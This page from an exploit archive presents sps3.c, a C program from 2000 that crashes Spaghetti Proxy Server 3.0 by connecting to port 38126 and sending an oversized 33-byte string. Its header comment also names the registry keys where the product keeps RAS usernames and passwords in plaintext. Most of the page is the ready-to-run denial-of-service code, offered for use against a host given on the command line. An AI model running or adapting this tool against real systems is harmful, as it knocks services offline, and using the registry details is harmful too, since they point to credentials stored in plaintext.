what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sps3.c

sps3.c
Posted Mar 4, 2000
Authored by Chopsui-cide | Site midgets.box.sk

sps3.c - Spaghetti Proxy Server 3.0 DoS attack. It does not appear as though arbitrary code could be execute using this vulnerability.

tags | exploit, arbitrary
SHA-256 | 680f512523df1c01ddcba29dfb4caf73bb78cf523c949bcc773afb2b6dfa4066

sps3.c

Change Mirror Download
/*
sps3.c - Spaghetti Proxy Server 3.0 DoS attack
(c) Chopsui-cide/MmM '00
The Mad Midget Mafia - http://midgets.box.sk/

Spaghetti Proxy Server claims to offer "complete security". In
reality, it does the exact opposite. As well as being vulnerable
to a rather simple bug, it stores your RAS username and password in
plaintext in the registry keys:
HKEY_LOCAL_MACHINE\SOFTWARE\aVirt\Gateway Home\3.0\RAS\RASPassword
and
HKEY_LOCAL_MACHINE\SOFTWARE\aVirt\Gateway Home\3.0\RAS\RASUserName

This simple program will cause SPS to crash. It does not appear as
though arbitrary code could be execute using this vulnerability.

Usage: sps3 <host>
*/

#include <winsock.h>
#include <stdio.h>

#define PORT 38126
#define LEN 33

void fatal_error(char *message);
int connect_sock(int sock, char *host, int port);
int create_sock();

main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
int sock;
char str[LEN];
if (argc < 2)
{
printf("Usage: sps3 <host>\n");
exit(0);
}
wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) fatal_error("Unable to initialise Winsock.");
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) fatal_error("Unable to create socket.");
connect_sock(sock, argv[1], PORT);
memset(str, 'X', LEN);
send(sock, str, LEN, 0);
Sleep(5000); // This may obviously have to be increased.
closesocket(sock);
printf("Done\n");
}

int connect_sock(int sock, char *host, int port)
{
struct sockaddr_in addr;
struct hostent *he;

memset(&addr, '0', sizeof(addr));

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(host);
addr.sin_port = htons(port);

if ((he = gethostbyname(host)) != NULL) memcpy((char *)&addr.sin_addr, he->h_addr, he->h_length);
else if ((addr.sin_addr.s_addr = inet_addr(host)) == -1) fatal_error("Invalid host.");
if (connect(sock, (struct sockaddr_in *)&addr, 16) == -1) fatal_error("Error connecting.");
printf("Connected to %s:%d\n", host, port);
return 0;
}

void fatal_error(char *message)
{
printf("Fatal error: %s\n", message);
exit(1);
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close